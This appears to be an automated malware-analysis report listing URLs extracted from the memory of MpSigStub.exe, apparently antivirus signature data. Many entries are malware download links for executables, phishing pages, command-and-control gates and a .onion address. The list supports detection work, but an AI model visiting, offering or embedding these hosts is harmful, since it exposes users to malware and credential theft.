        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://foo.w97.cn/SoftInterFace/SearchNum.aspx
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://foo.w97.cn/data/file/kwbuf.ini
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://foreground.me/m/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://forkasimov.hopto.org/pursue/updates.html/f
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://forms.newlifeadmin.org
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://foundation.shanto-mariamfoundation.org/24.gif
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://foxxpriv.ru/pic1/index.php
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://foxy.divarug.com:8080/yahoo.js
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://frame.crazywinnings.com/scripts/protect.php?promo
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://freedomtonurse.net?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://freeholdsurgical.net?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://freeholdsurgical.org?
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://freeimagehost.ru/ubanner.png
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://freevideoz.info/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://freezdec.ru/serviceupdate.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://freight.eu.com/download
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://fu.o3sb.com:9999/img.jpg
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://funsiteshere.com/
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://funsiteshere.com/redir.php
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://futebolclubesantacruz.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://g.delyemo.ru
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://g1.globo.com/Noticias/SaoPaulo/0
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://gahtt9j6.u8f3e5jq.ru
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://gaigoixxx.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://galinasergeeva.ru
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://galleries.payserve.com/1/31952/1
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://gallolitaadultmove.com/pc/page/set_reg.php?code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://gameroominc.com/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://games.enet.com.cn/article/SearchCategory.php?key=%s
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://garlic10.grey.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://gathome.com/cgi-bin/first.pl
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://gd-sirve.com/rb.txt
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://gdcbmuveqjsli57x.onion/b93cf40ee63ed066
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://ge.tt/api/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://geezybeatz.com/secured/index.html)
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://geocities.com/jobreee/main.htm
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://geocities.yahoo.com.br/youtoba03/listaaut.jpg
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://get.file136desktop.info/DownloadManager/Get?p=638x
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://getfreez.net/multi-codec-pack.php
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://getp.jujutang.com
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://getsyncer5.info/sync/?ext=bcool&pid=26&country=us
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://getvolkerdns.co.cc/priv8
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://getwebcake.com/Privacy
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://getyouneed.co
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://getyouneed.coa
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://getyouneed.com
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://getyouneed.com/r.php?wm=5
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://gg.pw
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://ghsinternationalconferencewithinternationalfilesecureserviceglo.ydns.eu
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://ghthf.cf/cert/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://gicia.info/cd/cd.php?id=%s&ver=g
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://gidstaxi.nl/mrszheuhe/8888888.png
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://ginger90.ivory.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://girlongirllibido.info/show.php?s=c366aa9358
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://gistsdey.com/wp-content/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://gkfaalkhnkqvgjntywc.ml/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://globalsoftbd.com/votre_agence-lcl.php
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://globonoticia.iitalia.com/noticia.com
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://go.%6C%61%69%6C%65%61.%69%6E%66%6F/?i=
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://go.58.com/?f=
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://go.jetswap.com/ssflang.php?it=4893473
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://go.secureclick6.com/0534
        Source: MpSigStub.exe, 00000023.00000003.18286860697.0000015B081A5000.00000004.00000001.sdmpString found in binary or memory: http://go.winantivirus.com
        Source: MpSigStub.exe, 00000023.00000003.18286860697.0000015B081A5000.00000004.00000001.sdmpString found in binary or memory: http://go.winantivirus.comx
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://gogglgdoc.com/document/review/index.html)
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://gogo.ru/go?x;
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://golden-toto.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://goo.gl/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://goo.gl/0ma6okopenhttp://goo.gl/0ma6okerror
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://goo.gl/9mrcts
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://goo.gl/bw14po
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://goo.gl/x7a4lcshowwebinpopuptaskkill-f-im
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://google-adsenc.com/in.cgi?
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://google.com
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://google.com/
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://google.com/ID
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://google.com/install.php?time=%d
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18316930994.0000015B1B590000.00000004.00000001.sdmpString found in binary or memory: http://google.ru/js
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://gosgd.com
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://gosgd2.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://gpt.alarmasystems.ru/wp-content/upgrade/obi.html
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://gpt0.ru/in.cgi
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://gracefullifetime.com/yqagtiljgk/530340.png
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://granitmdp.com/rechnung-nr-06197/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://grape53.olive.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://greenthdykegheedahatakankeadeshnaathfgh.ydns.eu/office360/regasm.exe
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://greentreee.com/src/gate.php?a
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://gridinsoft.com/check_ver.php?product=chmeditor&ver=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://grizzli-counter.com/id120/index.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.bluechipstaffing.com/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.chromaimagen.com/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.couturefloor.com/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.ddoborguild.com/0n1ine.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.dondyablo.com/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.echowin.com/autorizz0.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.globaltcms.com/autorizz0.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.hamiltoncustomhomesinc.com/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://gstat.llbntv.com/pagament1.exe
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://gstat.llbntv.org/pagament1.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://gstat.securitiessupportunit.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://guineapig.tips/co
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://gveejlsffxmfjlswjmfm.com/files/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://gweboffice.co.uk/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://gx3bxpo.sed.digitalmusictutorials.com
        Source: MpSigStub.exe, 00000023.00000003.18334799670.0000015B1A704000.00000004.00000001.sdmpString found in binary or memory: http://gyeuiojndhbvmaoiwnnchauwo28vnj8mjmvnwhk.ydns.eu/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://h1m2en.ddns.net/sa98as8f7/kk/1445785485
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://handjobheats.com/xgi-bin/q.php
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://hao.360.cn
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://hao.360.cn/?src=lm&
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://hao.360.cnx
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://harpa.space/kgodu.dot
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://hasvideo.net
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://hasvideo.net?t=
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hdghdg.coom.in/showthread.php?t=72241732
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://hellos.tcp4.me/standard-bank-online-relief-funds-ucount-onlinebanking.standardbank.co.za-dire
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://helpefy.com/002/777/new%20outlook/new%20outlook/
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://helpprice.in
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://helpservice09.hol.es
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://hem1.passagen.se/fylke/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://hgastation.com
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://hi.ru/?44
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://highnmightytv.com/orderss182doc.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://highnmightytv.com/wp-content/themes/data.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://highpay.website/css/windows.jar
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://hikangaroo5.com/images/xjs7s/gb40f_eygecpdogfzeca1xtg/ruryf1?sxps=vddxqzhm_&oof=xptbdzfnuzvdt
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://hiltrox.com
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://hit1.marinalvapn.com/silage.zip
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hnigrp.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hniltd.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hnimanagement.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hnimgmt.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hnimgt.com?
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://ho.io/
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://hohosearch.com/?uid=1234#red=
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://hollywood-pawn.com?
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://hollywoodnailspa.net/auth/tb/tb/index.html)
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://hombresvalientesposadas.com/paya/reportdhlnew2.php
        Source: MpSigStub.exe, 00000023.00000003.18344996372.0000015B1B0B0000.00000004.00000001.sdmpString found in binary or memory: http://hombresvalientesposadas.com/zek/reportdhlnew2.php
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://home.zh-cn.cc/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://hookbase.com/Index.htm
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://host87.net
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://hostserver.kr
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://hostthenpost.org/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://hotbar.com
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://hotedeals.co.uk/ekck095032/
        Source: MpSigStub.exe, 00000023.00000003.18302181106.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://houusha33.icu/jquery/jquery.php
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://hpg.se/tmp/lns.txt
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://hqsextube08.com/getsoft/task.php?v=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://html.hjsm.tom.com/?mod=book&act=anonsearch&key=%s
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://htmlcss.3322.org/sub/ray.js
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c0
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://http://silver13.net/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://httpswindowsupdates.com/apkssl230459.exe
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://httpz.ru
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://huaned.net/?683228460
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://hvln.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://hyoeyeep.ws/template.doc
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://hytechmart.com
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: http://i.compucrush.com/i.php
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://i.compucrush.com/i.phpxD
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://i.imgur.com/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://i.omeljs.info/omel/javascript.js?appTitle=PennyBee&channel=chkomel
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://i.sfu.edu.ph/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://i.ttd7.cn/getsoft
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://iaa.1eko.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://ianlunn.co.uk
        Source: MpSigStub.exe, 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmpString found in binary or memory: http://ibm.dmcast.com/t.rar
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://ibrahimovich.banouta.net/a
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://icanhazip.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://icloudstorage.moonfruit.com/?preview=y
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://idc.9e3.com/web/hao123/hack.swfwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://idea-secure-login.com/3/ddg.dll5
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://idmnfs.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://ie.search.psn.cn/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://iefeadsl.com/feat/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://iframe.ip138.com/ic.asp
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://ilya-popov.ru/wp-content/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://image.soso.com/image.cgi?w=%s
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://images-saver.pw/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://images.google.cn/images?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://images.timekard.com/default.png
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://imd.gdyiping.com
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://img-save.xyz
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://img.zhongsou.com/i?w=%s
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://imp.fusioninstall.com/impression.do/?event=installer_start&referrer=x
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://imp.mymapsxp.com/
